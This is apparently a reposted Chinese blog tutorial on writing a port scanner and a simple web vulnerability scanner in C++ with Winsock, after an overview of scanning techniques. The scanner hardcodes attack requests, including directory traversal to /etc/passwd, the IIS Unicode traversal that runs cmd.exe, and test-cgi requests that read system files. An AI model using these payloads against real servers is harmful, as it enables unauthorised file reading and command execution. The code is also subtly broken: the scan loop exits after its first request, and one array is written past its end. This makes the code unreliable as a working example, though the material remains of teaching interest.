zoukankan      html  css  js  c++  java
  • 编写端口扫描器

    编写端口扫描器  C++写的
    一、端口扫描器功能简介:
    服务器上所开放的端口就是潜在的通信通道,也就是一个入侵通道。对目标计算机进行端口扫描,能得到许多有用的信息,进行端口扫描的方法很多,可以是手工进行扫描、也可以用端口扫描软件进行。
    扫描器通过选用远程TCP/IP不同的端口的服务,并记录目标给予的回答,通过这种方法可以搜集到很多关于目标主机的各种有用的信息,例如远程系统是否支持匿名登陆、是否存在可写的FTP目录、是否开放TELNET服务和HTTPD服务等。
    二、常用端口扫描技术:
    1、TCP connect()扫描:
    这是最基本的TCP扫描,操作系统提供的connect()系统调用可以用来与每一个感兴趣的目标计算机的端口进行连接。如果端口处于侦听状态,那么connect()就能成功。否则,这个端口是不能用的,即没有提供服务。这个技术的一个最大的优点是,你不需要任何权限。系统中的任何用户都有权利使用这个调用。另一个好处就是速度,如果对每个目标端口以线性的方式,使用单独的connect()调用,那么将会花费相当长的时间,使用者可以通过同时打开多个套接字来加速扫描。使用非阻塞I/O允许你设置一个低的时间用尽周期,同时观察多个套接字。但这种方法的缺点是很容易被察觉,并且被防火墙将扫描信息包过滤掉。目标计算机的logs文件会显示一连串的连接和连接出错消息,并且能很快使它关闭。
    2、TCP SYN扫描:
    这种技术通常认为是“半开放”扫描,这是因为扫描程序不必要打开一个完全的TCP连接。扫描程序发送的是一个SYN数据包,好象准备打开一个实际的连接并等待反应一样(参考TCP的三次握手建立一个TCP连接的过程)。一个SYN|ACK的返回信息表示端口处于侦听状态:返回RST表示端口没有处于侦听态。如果收到一个SYN|ACK,则扫描程序必须再发送一个RST信号,来关闭这个连接过程。这种扫描技术的优点在于一般不会在目标计算机上留下记录,但这种方法的缺点是必须要有root权限才能建立自己的SYN数据包。
    3、TCP FIN 扫描:
    SYN扫描虽然是“半开放”方式扫描,但在某些时候也不能完全隐藏扫描者的动作,防火墙和包过滤器会对管理员指定的端口进行监视,有的程序能检测到这些扫描。相反,FIN数据包在扫描过程中却不会遇到过多问题,这种扫描方法的思想是关闭的端口会用适当的RST来回复FIN数据包。另一方面,打开的端口会忽略对FIN数据包的回复。这种方法和系统的实现有一定的关系,有的系统不管端口是否打开都会回复RST,在这种情况下此种扫描就不适用了。另外这种扫描方法可以非常容易的区分服务器是运行Unix系统还是NT系统。
    4、IP段扫描:
    这种扫描方式并不是新技术,它并不是直接发送TCP探测数据包,而是将数据包分成两个较小的IP段。这样就将一个TCP头分成好几个数据包,从而过滤器就很难探测到。但必须小心:一些程序在处理这些小数据包时会有些麻烦。
    5、TCP 反向 ident扫描:
    ident 协议允许(rfc1413)看到通过TCP连接的任何进程的拥有者的用户名,即使这个连接不是由这个进程开始的。例如扫描者可以连接到http端口,然后用identd来发现服务器是否正在以root权限运行。这种方法只能在和目标端口建立了一个完整的TCP连接后才能看到。
    6、FTP 返回攻击:
    FTP协议的一个有趣的特点是它支持代理(proxy)FTP连接,即入侵者可以从自己的计算机self.com和目标主机target.com的FTP server-PI(协议解释器)连接,建立一个控制通信连接。然后请求这个server-PI激活一个有效的server-DTP(数据传输进程)来给Internet上任何地方发送文件。对于一个User-DTP,尽管RFC明确地定义请求一个服务器发送文件到另一个服务器是可以的,但现在这个方法并不是非常有效。这个协议的缺点是“能用来发送不能跟踪的邮件和新闻,给许多服务器造成打击,用尽磁盘,企图越过防火墙”。
    7、UDP ICMP端口不能到达扫描:
    这种方法与上面几种方法的不同之处在于使用的是UDP协议,而非TCP/IP协议。由于UDP协议很简单,所以扫描变得相对比较困难。这是由于打开的端口对扫描探测并不发送确认信息,关闭的端口也并不需要发送一个错误数据包。幸运的是许多主机在向一个未打开的UDP端口发送数据包时,会返回一个ICMP_PORT_UNREACH错误,这样扫描者就能知道哪个端口是关闭的。UDP和ICMP错误都不保证能到达,因此这种扫描器必须还实现在一个包看上去是丢失的时候能重新传输。这种扫描方法是很慢的,因为RFC对ICMP错误消息的产生速率做了规定。同样这种扫描方法也需要具有root权限。
    8、UDP recvfrom()和write() 扫描:
    当非root用户不能直接读到端口不能到达错误时,Linux能间接地在它们到达时通知用户。比如,对一个关闭的端口的第二个write()调用将失败。在非阻塞的UDP套接字上调用recvfrom()时,如果ICMP出错还没有到达时回返回EAGAIN-重试。如果ICMP到达时,返回ECONNREFUSED-连接被拒绝。这就是用来查看端口是否打开的技术。
    三、编写一个简单的端口扫描程序:
    /********************************************/
    /* 端口扫描器 源代码 */
    /* PortScanner.cpp */
    /********************************************/

    #include <stdio.h>
    #include <string.h>
    #include <winsock.h>

    int main(int argc, char *argv[]) {

    int mysocket;

    int pcount = 0; 

    struct sockaddr_in my_addr;

    WSADATA wsaData;

    WORD wVersionRequested=MAKEWORD(1,1);


    if(argc < 3) {

    printf("usage: %s <host> <maxport>\n", argv[0]);

    exit(1);

    }


    if (WSAStartup(wVersionRequested , &wsaData)){

    printf("Winsock Initialization failed.\n");

    exit(1);

    }


    for(int i=1; i < atoi(argv[2]); i++){

    if((mysocket = socket(AF_INET, SOCK_STREAM,0)) == INVALID_SOCKET){

    printf("Socket Error");

    exit(1);

    }


    my_addr.sin_family = AF_INET;

    my_addr.sin_port = htons(i);

    my_addr.sin_addr.s_addr = inet_addr(argv[1]);


    if(connect(mysocket, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == SOCKET_ERROR)

    closesocket(mysocket);

    else{

    pcount++;

    printf("Port %d - open\n", i);

    }}


    printf("%d ports open on host - %s\n", pcount, argv[1]);

    closesocket(mysocket);

    WSACleanup();

    return 0;
    }
    这个程序使用Borland C++编译,程序中关键代码是“my_addr.sin_port = htons(i)”,因为变量i是一个循环量,它从一开始到使用者设定值结束,而htons(i)则是对连接远程服务器需要使用的端口进行定义,之后使用connect()函数连接指定端口,通过返回值判断这个端口是否打开,这样一个端口扫描的思路就出现了。
    程序中用到的socket函数库是专门实现网络连接的一套综合函数库,这套函数内容丰富,在各种流行编程语言中都有,黑客在学习了C语言和socket函数库以后,便可以快速掌握各种编程语言、并能够编写出相当数量的黑客工具。


    一、漏洞扫描器基本原理:
    编写漏洞扫描器探查远程服务器上可能存在的具有安全隐患的文件是否存在,它的socket建立过程和上面的端口扫描器是相同的,所不同的是漏洞扫描器通常使用80端口,然后对这个端口发送一个GET文件的请求,服务器接收到请求会返回文件内容,如果文件不存在则返回一个错误提示,通过接收返回内容可以判断文件是否存在。发送和接收数据需要使用函数send()和recv(),另外对流中存在的字符串进行判断需要使用函数strstr(),这除了需要具备socket函数库的知识以外,还需要一些有关string函数库的知识。
    二、简单的漏洞扫描源代码:
    /********************/
    /* 端口扫描器 源代码*/
    /********************/

    #include <stdio.h>

    #include <string.h>

    #include <winsock.h>

    int main(int argc,char *argv[])

    {

    if(argc!=2){

    printf("Useage : scan [IP address]\n");

    return(1);

    }

    struct sockaddr_in blah;

    struct hostent *he;

    WSADATA wsaData;

    int i;

    WORD wVersionRequested;

    SOCKET sock;

    char buff[1024];

    char *ex[10];

    ex[1]="GET /../../../../etc/passwd HTTP/1.0\n\n";

    ex[2]="GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";

    ex[3]="GET /A.ida/%c1%00.ida HTTP/1.0\n\n";

    ex[4]="GET /cgi-bin/pfdispaly.cgi?/../../../../etc/motd HTTP/1.0\n\n";

    ex[5]="GET /cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd HTTP/1.0\n\n";

    ex[6]="GET /cgi-bin/test-cgi?* HTTP/1.0\n\n";

    char *fmsg="HTTP/1.1 200 OK";

    wVersionRequested = MAKEWORD( 1, 1 );

    if (WSAStartup(wVersionRequested , &wsaData)){

    printf("Winsock Initialization failed.\n");

    exit(1);

    }

    if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){

    printf("Can not create socket.\n");

    exit(1);

    }

    sock = socket(AF_INET,SOCK_STREAM,0);

    blah.sin_family = AF_INET;

    blah.sin_port = htons(80);

    blah.sin_addr.s_addr= inet_addr(argv[1]);

    if ((he=gethostbyname(argv[1]))!=NULL){

    memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length);

    }

    else{

    if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){

    WSACleanup();

    exit(1);

    }

    }

    for (i=1 ; i<7; i++) {

    if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){

    send(sock,ex[i],strlen(ex[i]),0);

    recv(sock,buff,sizeof(buff),0);

    if(strstr(buff,fmsg)!=NULL){

    printf("\nFound :%s\n", ex[i]);

    }

    }

    closesocket(sock);

    WSACleanup();

    return(1);

    }

    }
    这段代码可以检测六个漏洞,读者可以根据自己的需要增加漏洞扫描的数量。程序实现的很简洁,概括起来这段程序完成了一下四项工作:
    1、连接目标主机SERVER;
    2、向目标主机发送GET请求;
    3、接收目标返回数据;
    4、根据返回数据判断文件是否存在。
    三、返回数值:
    读者也许不明白,程序究竟依靠返回的什么数值判断文件是否存在的呢?现在让我们修改一下程序,仔细看一下返回来的究竟是什么内容,对上面的程序进行如下修改:
    /************************/
    /* 检测文件头内容 源代码*/
    /************************/

    #include <stdio.h>

    #include <string.h>

    #include <winsock.h>

    int main(int argc,char *argv[])

    {

    if(argc!=2){

    printf("Useage : scan [IP address]\n");

    return(1);

    }

    struct sockaddr_in blah;

    struct hostent *he;

    WSADATA wsaData;

    WORD wVersionRequested;

    SOCKET sock;

    char buff[4096];

    char *ex[2];

    ex[1]="GET /index.html HTTP/1.0\n\n";

    ex[2]="GET /noindex.htm HTTP/1.0\n\n";

    wVersionRequested = MAKEWORD( 1, 1 );

    if (WSAStartup(wVersionRequested , &wsaData)){

    printf("Winsock Initialization failed.\n");

    exit(1);

    }

    if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){

    printf("Can not create socket.\n");

    exit(1);

    }

    sock = socket(AF_INET,SOCK_STREAM,0);

    blah.sin_family = AF_INET;

    blah.sin_port = htons(80);

    blah.sin_addr.s_addr= inet_addr(argv[1]);

    if ((he=gethostbyname(argv[1]))!=NULL){

    memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length);

    }

    else{

    if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){

    WSACleanup();

    exit(1);

    }

    }

    if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){

    send(sock,ex[1],strlen(ex[1]),0);

    recv(sock,buff,sizeof(buff),0);

    printf("%s",buff);

    send(sock,ex[2],strlen(ex[2]),0);

    recv(sock,buff,sizeof(buff),0);

    printf("%s",buff);

    }

    closesocket(sock);

    WSACleanup();

    return(1);

    }
    程序将检测文件进行了修改,指对“/index.htm”和“/noindex.htm”进行判断,因为index.htm是默认的页面,所以大多数情况下是存在于服务器上的,而noindex.htm则是没有找到文件的情况,通过对接收回来的流buff的printf()可以清楚地看到返回来的究竟是什么东西。
    通过运行程序读者会看到类似下面的内容:
    HTTP/1.1 200 OK
    Date: Thu, 23 Aug 2001 10:59:31 GMT
    Server: Apache/1.3.12 (Unix)
    Last-Modified: Thu, 23 Aug 2001 10:44:11 GMT
    ETag: "a9c96-b73e-3b84de7b"
    Accept-Ranges: bytes
    Content-Length: 46910
    Connection: close
    Content-Type: text/html
    这个htm程序的头部说明,返回内容还会有很多,不过下面的内容就是正常的htm文件了,这个头是被隐藏的,所以大多数使用者在平时使用电脑过程中,不会发现htm文件的开始部位,还有一个这样的内容说明。这个头里面包含了很多信息,例如第一行的200 OK就是文件存在的意思,如果是404 NOT FOUND那么就是文件不存在,也就是这个内容才能够让漏洞扫描器正常工作,现在读者应该明白为什么我们编写的漏洞扫描器里面由foundmsg=HTTP/1.1 200 OK的语句了吧。
    通过这个头还可以了解到对方服务器使用的是什么系统,例如:Server: Apache/1.3.12 (Unix)就是我们扫描的服务器使用的系统类型。

  • 相关阅读:
    How To : OCR / Vote disk Maintenance Operations: (ADD/REMOVE/REPLACE/MOVE)
    循序渐进解读Oracle AWR性能分析报告
    为11gR2 Grid Infrastructure增加新的public网络
    12C开始oracle实现了SCALABLE LGWR多进程并行写redo log
    万字详解Oracle架构、原理、进程,学会世间再无复杂架构
    PowerShell 连接SQL Server 数据库
    Oracle 性能分析与诊断|跟踪诊断&优化SQL 语句
    安装oracle 11gr2 rac on solaris
    oracle EOS
    K8S集群认证之RBAC
  • 原文地址:https://www.cnblogs.com/QDuck/p/173994.html
Copyright © 2011-2022 走看看